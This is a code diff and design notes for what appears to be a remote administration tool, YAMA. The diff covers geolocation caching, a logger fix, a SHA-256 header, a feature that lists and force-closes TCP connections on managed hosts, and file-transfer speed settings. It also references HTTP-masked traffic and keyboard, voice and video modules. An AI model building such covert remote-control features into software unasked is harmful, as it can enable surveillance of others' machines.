#include "logger.h"
#include "jsoncpp/json.h"
@@ -200,6 +202,18 @@ public:
{
if (IP.empty()) return "";
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
static std::map<std::string, std::string> geoCaches;
static std::mutex geoMutex;
{
std::lock_guard<std::mutex> lk(geoMutex);
auto it = geoCaches.find(IP);
if (it != geoCaches.end())
return it->second;
}
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
InternetCloseHandle(hInternet);
if (location.empty() && IsPrivateIP(ip)) {
return "Local Area Network";
location = "Local Area Network";
}
// 只缓存成功结果;失败不缓存,允许下次重试。
if (!location.empty()) {
std::lock_guard<std::mutex> lk(geoMutex);
geoCaches[IP] = location;
}
return location;
}
@@ -308,8 +328,10 @@ private:
}
}
std::string city = Utf8ToAnsi(json[cityField].asString());
std::string country = Utf8ToAnsi(json[countryField].asString());
// 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
// GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
std::string city = json[cityField].asString();
std::string country = json[countryField].asString();
if (!city.empty() && !country.empty()) return city + ", " + country;
if (!city.empty()) return city;
+7 -1
View File
@@ -152,6 +152,12 @@ public:
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message;
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
logEntry.pop_back();
logEntry += '\n';
// Always record to in-memory ring buffer regardless of enable flag.
{
std::lock_guard<std::mutex> lock(m_memMutex);
@@ -305,7 +311,7 @@ private:
std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) {
logFile << logEntry << std::endl;
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
}
}
+148
View File
@@ -0,0 +1,148 @@
/**
* sha256_posix.h - 最小实现 SHA-256(POSIX 侧)
*
* 为什么不用现成的:Windows 侧的 SHA-256 走 BCrypt(common/VerifyV2.h),
* Linux/macOS 没有 BCrypt,也没有 OpenSSL 依赖,而 V2 文件发送要向服务端
* 回报 FileCompletePacketV2.sha256,必须自己算。
*
* 只实现 FileTransferV2 需要的流式接口(update/final),不做别的事。
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "sha256_posix.h is POSIX-only; Windows uses BCrypt via VerifyV2.h."
#endif
#include <cstddef>
#include <cstdint>
#include <cstring>
class Sha256
{
public:
Sha256() { reset(); }
void reset()
{
static const uint32_t init[8] = {
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
};
memcpy(m_h, init, sizeof(m_h));
m_bufLen = 0;
m_totalLen = 0;
}
void update(const void* data, size_t len)
{
const uint8_t* p = (const uint8_t*)data;
m_totalLen += len;
if (m_bufLen > 0) {
size_t take = 64 - m_bufLen;
if (take > len) take = len;
memcpy(m_buf + m_bufLen, p, take);
m_bufLen += take;
p += take;
len -= take;
if (m_bufLen == 64) {
transform(m_buf);
m_bufLen = 0;
}
}
while (len >= 64) {
transform(p);
p += 64;
len -= 64;
}
if (len > 0) {
memcpy(m_buf, p, len);
m_bufLen = len;
}
}
// 输出 32 字节摘要;调用后对象可 reset() 复用(不自动 reset,避免隐式行为)
void final(uint8_t out[32])
{
uint64_t bitLen = m_totalLen * 8;
// 0x80 + 零填充 + 64 位长度,凑满整块
uint8_t pad[72];
memset(pad, 0, sizeof(pad));
pad[0] = 0x80;
size_t padLen = (m_bufLen < 56) ? (56 - m_bufLen) : (120 - m_bufLen);
update(pad, padLen);
uint8_t lenBytes[8];
for (int i = 0; i < 8; ++i) {
lenBytes[i] = (uint8_t)(bitLen >> (56 - 8 * i));
}
update(lenBytes, sizeof(lenBytes));
for (int i = 0; i < 8; ++i) {
out[4 * i] = (uint8_t)(m_h[i] >> 24);
out[4 * i + 1] = (uint8_t)(m_h[i] >> 16);
out[4 * i + 2] = (uint8_t)(m_h[i] >> 8);
out[4 * i + 3] = (uint8_t)(m_h[i]);
}
}
static void hash(const void* data, size_t len, uint8_t out[32])
{
Sha256 s;
s.update(data, len);
s.final(out);
}
private:
static uint32_t rotr(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }
void transform(const uint8_t block[64])
{
static const uint32_t K[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};
uint32_t w[64];
for (int i = 0; i < 16; ++i) {
w[i] = ((uint32_t)block[4 * i] << 24) | ((uint32_t)block[4 * i + 1] << 16) |
((uint32_t)block[4 * i + 2] << 8) | (uint32_t)block[4 * i + 3];
}
for (int i = 16; i < 64; ++i) {
uint32_t s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ (w[i - 15] >> 3);
uint32_t s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ (w[i - 2] >> 10);
w[i] = w[i - 16] + s0 + w[i - 7] + s1;
}
uint32_t a = m_h[0], b = m_h[1], c = m_h[2], d = m_h[3];
uint32_t e = m_h[4], f = m_h[5], g = m_h[6], h = m_h[7];
for (int i = 0; i < 64; ++i) {
uint32_t S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25);
uint32_t ch = (e & f) ^ (~e & g);
uint32_t t1 = h + S1 + ch + K[i] + w[i];
uint32_t S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22);
uint32_t maj = (a & b) ^ (a & c) ^ (b & c);
uint32_t t2 = S0 + maj;
h = g; g = f; f = e; e = d + t1;
d = c; c = b; b = a; a = t1 + t2;
}
m_h[0] += a; m_h[1] += b; m_h[2] += c; m_h[3] += d;
m_h[4] += e; m_h[5] += f; m_h[6] += g; m_h[7] += h;
}
uint32_t m_h[8];
uint8_t m_buf[64];
size_t m_bufLen;
uint64_t m_totalLen;
};
+259
View File
@@ -0,0 +1,259 @@
# TCP/UDP 连接管理设计
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
>
> 需求原文(三点,逐一对应下文):
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
> 2. 客户端需要增加一个管理类来处理服务端请求;
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
## 1. 目标与范围
### MVP
| 项 | 说明 |
|---|---|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
### 非目标(Non-goals,本次不做)
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
## 2. 复用现状
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
### 客户端模板(读参考实现,全部已核实)
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
```
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub; }
m_hThread[m_ulThreadCount++].h =
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
```
连接管理照抄,仅换 `LoopConnectionManager`。
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
### 服务端模板(读参考实现,全部已核实)
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
### 工具栏(读参考,全部已核实)
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
`hiddenCount` 语义不变。
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
### 网络 API(客户端,新增依赖)
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
## 3. 协议与数据结构
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
```
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
```
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
```c
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
```
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
### 3.3 列表响应(客户端 → 服务端)
```
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
```
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
### 3.4 强制断开请求(服务端 → 客户端)
```
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
```
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
## 4. 客户端实现
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
- 类声明(`ConnectionsManager.h`):
```cpp
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager {
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList(); // 枚举并回传
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
```
- `SendConnectionList()`:
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
- `OnReceive()`:
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
```
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
break;
}
```
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
## 5. 服务端实现
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
`ToolBar_Main.bmp` 补第 17 格(见下)。
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
双节点/插头样式图标插入条尾;图标观感属评审项)。
- `2015RemoteDlg.cpp`:
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
## 6. 强制断开的实现与限制
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
## 7. 安全与边界
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
但列表按 PID 可辨识本程序进程名,便于人工避让。
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
(确认责任在操作者),但右键菜单为显式单点操作。
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
`"<unknown>"`,不阻塞枚举。
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
同类),属预期;不影响服务端其它功能。
## 8. 验证计划(施工后填写)
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
远端 `netstat` 不再显示;进程自身未受影响。
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
## 9. 实现记录
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
`htons` 转回网络序。详见 §3.2 / §6。
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
+151
View File
@@ -0,0 +1,151 @@
# YAMA 文件传输速度调节设计
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
> **读者**:研发/评审人员。
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
---
## 1. 背景与目标
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
---
## 2. 速度原理(现状)
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
```cpp
static int chunk_size = 64 * 1024; // 默认 64KB
static int send_duration = 50; // 默认 50ms
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
```
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
```
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
默认 64KB / 50ms ≈ 1.25 MB/s
```
两个关键约束:
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
---
## 3. 档位表(权威唯一来源,主控端对话框维护)
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|---|---|---|---|---|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
| 6 | 不限速 | 1024 | 0 | 网络上限 |
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
---
## 4. 两个方向的生效链路
